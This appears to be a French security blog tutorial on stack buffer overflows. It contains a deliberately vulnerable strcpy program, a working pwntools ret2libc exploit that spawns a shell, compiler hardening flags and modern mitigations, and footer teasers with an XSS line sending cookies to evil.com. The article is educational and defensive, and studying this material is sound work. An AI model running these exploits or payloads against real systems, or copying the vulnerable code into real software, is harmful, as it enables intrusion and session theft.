Accéder au contenu principal
Comprendre les Buffer Overflows - Analyse Technique

📌 Rappel sur les registres : Lorsqu'une fonction est exécutée, plusieurs registres processeur sont utilisés. Parmi eux :

  • RIP (x86_64) : registre d'instruction, contient l'adresse de la prochaine instruction à exécuter.
  • EIP (x86 32-bit) : équivalent de RIP sur les systèmes 32 bits.
  • RBP / EBP : pointeur de base de la pile, souvent utilisé pour référencer les variables locales et les arguments.
  • RSP / ESP : pointeur de sommet de la pile, toujours à jour avec l'adresse actuelle du haut de pile.

Ces registres sont au cœur des mécanismes d’appel et de retour de fonction. Lors d’un buffer overflow, c’est souvent le contenu de RIP qui est ciblé, afin de rediriger l’exécution du programme.

🧩 Prérequis : Pour bien comprendre cet article, il est important de connaître le fonctionnement de la pile d'exécution d'une fonction en C. Lorsqu'une fonction est appelée, un nouveau cadre (stack frame) est empilé, contenant ses variables locales, un pointeur vers le cadre précédent (SFP), et une adresse de retour (RIP ou EIP selon l'architecture). C'est cette structure qui peut être compromise lors d'un buffer overflow.

🧠 Comprendre les Buffer Overflows : Du Bug Classique aux Défenses Modernes

Le buffer overflow est l'une des failles de sécurité les plus étudiées et redoutées en cybersécurité. Il s'agit d'un dépassement de capacité dans une zone mémoire tampon, qui permet d'altérer le comportement normal d'un programme et parfois d'exécuter du code malveillant. Cet article vous guide de manière approfondie à travers les aspects théoriques et pratiques d'un buffer overflow, les cas d'exploitation modernes, les mécanismes de défense et les outils utilisés pour détecter ou exploiter cette faille.

📚 Comprendre la vulnérabilité : qu'est-ce qu'un buffer overflow ?

Un buffer est une portion mémoire statique allouée pour stocker temporairement des données. Lorsque des données plus volumineuses que prévu y sont copiées sans vérification, elles débordent dans les zones mémoire adjacentes. Sur la pile, cela peut permettre d'écraser l'adresse de retour d'une fonction et ainsi détourner le flux d'exécution.

Voici un exemple minimal en C :

#include <stdio.h>
#include <string.h>

void vuln(char *input) {
    char buffer[64];
    strcpy(buffer, input); // Pas de vérification : buffer overflow possible
    printf("Buffer rempli : %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1)
        vuln(argv[1]);
    return 0;
}

Le programme ci-dessus utilise strcpy(), une fonction qui ne vérifie pas la taille de la chaîne source. En envoyant plus de 64 caractères, on peut écraser des données critiques, notamment le pointeur de retour situé dans la pile.

🛠️ Compilation sans protections (pour tests)

Pour étudier cette vulnérabilité dans un environnement sécurisé (VM ou Docker), il faut désactiver plusieurs protections compilateur :

gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie

Voici ce que chaque option fait :

  • -fno-stack-protector : Supprime la protection par canary qui détecte les modifications de la pile.
  • -z execstack : Rend la pile exécutable, ce qui permet à un shellcode injecté dans le buffer de s'exécuter (danger réel !).
  • -no-pie : Le binaire n'est plus position-independent, ce qui signifie que ses adresses sont fixes, ce qui facilite l'exploitation et contourne l'ASLR partiellement.

📘 Mini tutoriel : débuter avec pwntools

Voici un petit tutoriel pas-à-pas pour apprendre à utiliser pwntools, l'une des bibliothèques Python les plus populaires pour écrire des exploits :

  1. Installation :
    pip install pwntools
  2. Créer un script minimal :
from pwn import *

# Crée un processus local
p = process('./vuln')

# Envoie un payload simple
payload = b'A' * 64 + b'BBBBCCCC'
p.sendline(payload)

# Passe en mode interactif (comme netcat)
p.interactive()
  1. Analyse ELF :
elf = ELF('./vuln')
print(elf.symbols)         # Liste les symboles connus
print(elf.got['puts'])     # Adresse GOT
print(elf.plt['puts'])     # Adresse PLT
  1. Debug interactif avec GDB :
p = gdb.debug('./vuln', '''
  break main
  continue
''')

pwntools devient vite indispensable pour tout chercheur ou étudiant en sécurité souhaitant automatiser l'interaction avec des binaires vulnérables.

🔎 Description complète du mécanisme d'exploitation

Une fois la vulnérabilité identifiée, on suit ces étapes clés :

  1. Déterminer l'offset jusqu'à RIP/EIP : en utilisant une chaîne cyclique générée par pwntools ou pattern_create.rb de Metasploit.
  2. Évaluer la présence de protections : avec l'outil checksec vuln.
  3. Construire un payload adapté : cela peut être un shellcode si la pile est exécutable, ou une chaîne ROP dans un scénario protégé.

💻 Exemple détaillé d'exploit avec Python (ret2libc)

Pourquoi utiliser Python ? Python, grâce à la bibliothèque pwntools, permet d'écrire des exploits lisibles, modulaires et puissants. Il offre une abstraction pratique pour interagir avec le binaire vulnérable, manipuler la mémoire, construire des payloads, et communiquer avec des processus locaux ou distants. C'est l'outil de référence dans les environnements de CTF et de test d'intrusion en mémoire.

Voici une version complète d’un exploit utilisant pwntools, une bibliothèque Python très populaire pour le développement d'exploits. Le but est de détourner le flux d’exécution vers la fonction system("/bin/sh") de la libc.

from pwn import *

elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')

offset = 72
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = b'A'*offset + p64(puts_plt) + p64(main_addr) + p64(puts_got)
p.sendline(payload)
p.recvuntil("\n")
leaked = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leaked - libc.symbols['puts']

system = libc.symbols['system']
binsh = next(libc.search(b"/bin/sh"))
payload = b'A'*offset + p64(system) + p64(0) + p64(binsh)
p.sendline(payload)
p.interactive()

🧠 Explication détaillée

  • puts@plt affiche l'adresse réelle de puts grâce à la GOT.
  • Cette fuite permet de recalculer la base de libc, puis de cibler system.
  • La dernière charge utile appelle system("/bin/sh") pour obtenir un shell.

🧱 Compilation sécurisée et contremesures

gcc -o vuln_secure vuln.c -fstack-protector-strong -D_FORTIFY_SOURCE=2 -O2 -z noexecstack -z relro -z now -pie -fPIE
  • stack-protector-strong : ajoute un canary entre la stack et l’EIP.
  • FORTIFY_SOURCE : renforce les fonctions strcpy, sprintf, etc.
  • RELRO/now : bloque la modification de la table GOT.
  • PIE + ASLR : rend les adresses totalement dynamiques.

📉 Pourquoi l'exploit fonctionne — et quand il échoue

Ce type d’exploit fonctionne parce qu’il repose sur l’absence ou la désactivation de plusieurs protections mémoire. Voici les raisons pour lesquelles il peut réussir :

  • Pas de PIE : le binaire a une adresse fixe, donc on peut connaître à l’avance l’emplacement des fonctions comme main ou puts@plt.
  • Pas de RELRO ou RELRO partiel : permet de lire ou d’écrire la table GOT à tout moment.
  • ASLR contourné : si une fuite mémoire (leak) nous donne l'adresse d'une fonction de libc, on peut en déduire toutes les autres adresses nécessaires.
  • NX Bit inutile ici : l’exploit ne repose pas sur l’exécution d’un shellcode mais sur l’appel de fonctions existantes.

En revanche, si l’on active toutes les protections modernes :

  • PIE + ASLR : les adresses du binaire et de la libc sont entièrement aléatoires à chaque exécution, rendant toute exploitation hasardeuse sans leak fiable.
  • FULL RELRO : la GOT devient en lecture seule, empêchant les redirections malveillantes.
  • Stack Canaries : l'écrasement de la pile sera détecté avant de pouvoir atteindre l'instruction ret.

📈 Vers une protection absolue ?

En plus des protections logicielles, les architectures matérielles modernes comme ARMv8.3 introduisent des mécanismes comme PAC (Pointer Authentication Codes) qui signent les pointeurs. Toute tentative de falsification d’une adresse de retour se solde par une invalidation.

Les solutions modernes s’orientent vers des combinaisons hybrides :

  • Langages sécurisés (Rust, Go) qui empêchent les accès mémoire non contrôlés.
  • Détection dynamique via ASAN (Address Sanitizer) à la compilation pour identifier automatiquement les accès illégitimes.
  • Contrôle d’intégrité via des validateurs de charge utile dans les chaînes CI/CD (DevSecOps).

🧾 Conclusion

Les buffer overflows, bien que classiques, continuent de poser de sérieux risques à cause de code hérité ou de logiciels critiques encore compilés sans protections modernes. Les comprendre et savoir les démontrer dans un environnement maîtrisé reste une compétence précieuse pour tout professionnel en sécurité informatique.

En associant bonnes pratiques de développement, compilation sécurisée et outils d’audit, on peut grandement limiter les risques d’exploitation mémoire.

🔍 Pour aller plus loin

Commentaires

Posts les plus consultés de ce blog

🔓 Peut-on vraiment "craquer" un mot de passe ? Une démonstration pas à pas 👇 Ce qu’on va faire Dans cet article, on montre concrètement comment un outil gratuit (présent dans Kali Linux) peut retrouver un mot de passe simple en quelques secondes. Mais on va aussi voir pourquoi un mot de passe complexe bloque toute attaque — et comprendre pourquoi. 🛠️ Les outils nécessaires On utilise un outil connu des experts cybersécurité : John the Ripper (inclus dans Kali Linux, utilisé pour les tests d’audit de mots de passe). John ne "pirate" pas un système en ligne. Il teste des mots de passe chiffrés en local , comme s’il avait volé un fichier de mots de passe (un hash). Cela simule ce qui se passe quand un hacker récupère une base de données de mots de passe cryptés . ✅ Étape 1 – Créer un mot de passe simple et le chiffrer On va créer un mot de passe : bonjour123 Puis on le chiffre avec cette commande : echo -n "bonjour123" | openssl passwd -...
Introduction au Machine Learning avec Python : Votre Premier Modèle IA de A à Z L'intelligence artificielle, souvent associée à des concepts abstraits et complexes, devient accessible grâce à Python. Aujourd’hui, vous allez découvrir comment créer un modèle de machine learning qui apprend à prédire si un passager du Titanic a survécu ou non. Ce projet concret vous donnera une vraie compréhension de ce qu’est l’IA appliquée. Étape 1 : Comprendre les données et le rôle de df Dans ce tutoriel, nous utilisons un jeu de données très célèbre : celui du Titanic. Chaque ligne représente un passager, avec des colonnes comme son âge, son sexe, sa classe dans le bateau, le prix payé pour son billet, et surtout, s’il a survécu ( Survived = 1 ) ou non ( Survived = 0 ). Quand on lit ce fichier CSV avec pandas , on stocke les données dans une structure appelée DataFrame , abrégée en df . Un DataFrame est un tableau à deux dimensions : les colonnes sont les variables (âge, sexe…), et ch...
🔐 Scanner son propre site web pour détecter les vulnérabilités : un guide complet pour débutants et curieux de cybersécurité 🧭 Pourquoi ce guide ? Internet est une vitrine. Et comme toute vitrine, elle peut être brisée. Un site web non sécurisé peut être : défiguré (defacement) utilisé pour héberger du code malveillant piraté pour voler des données utilisateurs utilisé comme relais pour des campagnes de phishing 👉 Pourtant, 80 % des failles exploitées aujourd’hui sont connues et évitables . Dans cet article, je vous montre comment scanner votre propre site pour détecter les vulnérabilités les plus courantes. 🚨 Exemples concrets d'attaques fréquentes 1. XSS (Cross-Site Scripting) But : injecter du JavaScript malveillant dans une page web. Exemple : <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script> Résultat : vol de session, redirection ou infection. 2. Exposition de fichiers sensibles But : accéder à des fich...